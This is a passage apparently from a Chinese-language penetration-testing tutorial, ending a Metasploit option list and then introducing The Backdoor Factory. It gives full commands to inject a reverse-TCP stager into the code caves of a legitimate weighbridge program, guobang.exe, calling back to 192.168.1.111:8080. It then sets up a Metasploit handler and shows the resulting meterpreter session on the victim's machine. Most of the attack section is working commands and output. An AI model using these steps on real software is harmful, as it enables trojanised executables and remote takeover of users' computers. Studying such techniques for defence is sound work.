PayloadUUIDTracking= \
PrependMigrate= \
PrependMigrateProc= \
ReverseAllowProxy= \
ReverseListenerBindAddress= \
ReverseListenerBindPort= \
ReverseListenerComm= \
ReverseListenerThreaded= \
SessionCommunicationTimeout= \
SessionExpirationTimeout= \
SessionRetryTotal= \
SessionRetryWait= \
StageEncoder= \
StageEncoderSaveRegisters= \
StageEncodingFallback= \
StagerRetryCount= \
StagerRetryWait= \
VERBOSE= \
WORKSPACE=
)
echo $options
}
#_msfvenom "$@"
12.2 The-backdoor-factory-工具介绍
原理
可执行二进制文件中有大量的 00，这些 00 是不包含数据的，将这些数据替换成 payload，并且在程序执行的时候，jmp 到代码段，来触发 payload。
以项目中的过磅系统为例：
root@John:~/Desktop# git clone https://github.com/secretsquirrel/the-backdoor-factory.git
//安装the-backdoor-factory
root@John:~/Desktop/the-backdoor-factory# ./backdoor.py -f ~/demo/guobang.exe -S
//检测是否支持后门植入
root@John:~/Desktop/the-backdoor-factory# ./backdoor.py -f ~/demo/guobang.exe -c -l 150
//测试裂缝空间size150
root@John:~/Desktop/the-backdoor-factory# ./backdoor.py -f ~/demo/guobang.exe -s show
//查看可用payload
root@John:~/Desktop/the-backdoor-factory# ./backdoor.py -f ~/demo/guobang.exe -H 192.168.1.111 -P 8080 -s iat_reverse_tcp_stager_threaded
//插入payload，并生成文件。
root@John:~/Desktop/the-backdoor-factory# md5sum ./guobang.exe /root/demo/guobang.exe
//对比原文件与生成文件MD5值
root@John:~/Desktop/the-backdoor-factory# du -k ./guobang.exe /root/demo/guobang.exe
//对比文件大小
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.111
lhost => 192.168.1.111
msf exploit(handler) > set lport 8080
lport => 8080
msf exploit(handler) > exploit -j
//开启本地监听
//打开软件
meterpreter > getuid
Server username: John-PC\John
//确定目标
